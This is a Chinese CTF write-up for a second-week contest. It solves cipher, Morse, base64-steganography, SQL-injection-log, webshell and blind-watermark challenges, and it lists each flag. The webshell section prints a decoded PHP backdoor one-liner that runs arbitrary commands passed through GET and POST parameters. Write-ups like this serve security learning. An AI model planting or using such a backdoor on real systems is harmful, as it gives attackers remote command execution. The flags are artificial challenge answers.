# WEEK2

# 新建 Word 文档

这是文档所做的一个限制导致无法复制,直接右键字体中取消隐藏文字的勾选即可复制

1
新佛曰:毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑

http://hi.pcmoe.net/buddha.html

解密得到 flag

flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}

# 永不消逝的电波

将 wav 文件使用 au 进行查看

摩斯密码,手敲出来

这里由于解密问题 flag 其实是全小写,可以使用别的在线网站也可以直接转为小写提交

flag{thebestctferisyou}

# base!

base 隐写,脚本一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res



def solve_stego():
with open('base.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print goflag(bin_str)



def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str



if __name__ == '__main__':
solve_stego()

得到 iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8

base58 解码得到 flag

flag{b4se_1s_4_g0od_c0d3}

# 1 - 序章

分析 sql 注入日志,手动筛选出注入成功的 10 进制

得到 flag

flag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}

# WebShell 的利用

附件给了马,需要我们自行解密得到密码

可以动调直接得到,也可以使用 python 脚本一次次解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import binascii
import codecs

def convert_uudecode(encoded_string):
try:
decoded_bytes = binascii.a2b_uu(encoded_string)
return decoded_bytes
except Exception as e:
return str(e)
str="密文"
decoded_str = base64.b64decode(str)

decoded_str = decoded_str.decode('utf-8')
decoded_str = codecs.encode(decoded_str, 'rot_13')

with open("output.txt", "w", encoding="utf-8") as f:
f.write(decoded_str)
with open("output.txt", "r") as file:
for line in file:
decoded_bytes = convert_uudecode(line)
decoded_str = decoded_bytes.decode('utf-8')
decoded_str = codecs.encode(decoded_str, 'rot_13')
print(decoded_str,end='')

这里自己写了一个解密脚本,刚开始以为只有一层,于是就写了一次的,结果发现套了好几层,懒得进行循环了,发现不多就手动循环了一下最终得到

1
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

get 传参加上 post 传参,拼接命令执行读取根目录下的 flag

# Jvav

刚开始以为是什么新知识点,结果发现题目其实是个梗,要告诉我们的是 java 语言这个信息

结合图片为只有一张 png 图片,想到了 java 盲水印

1
java -jar BlindWatermark.jar decode -c challenge.png 1.png

得到

flag{**3bb3c3a628a94c}**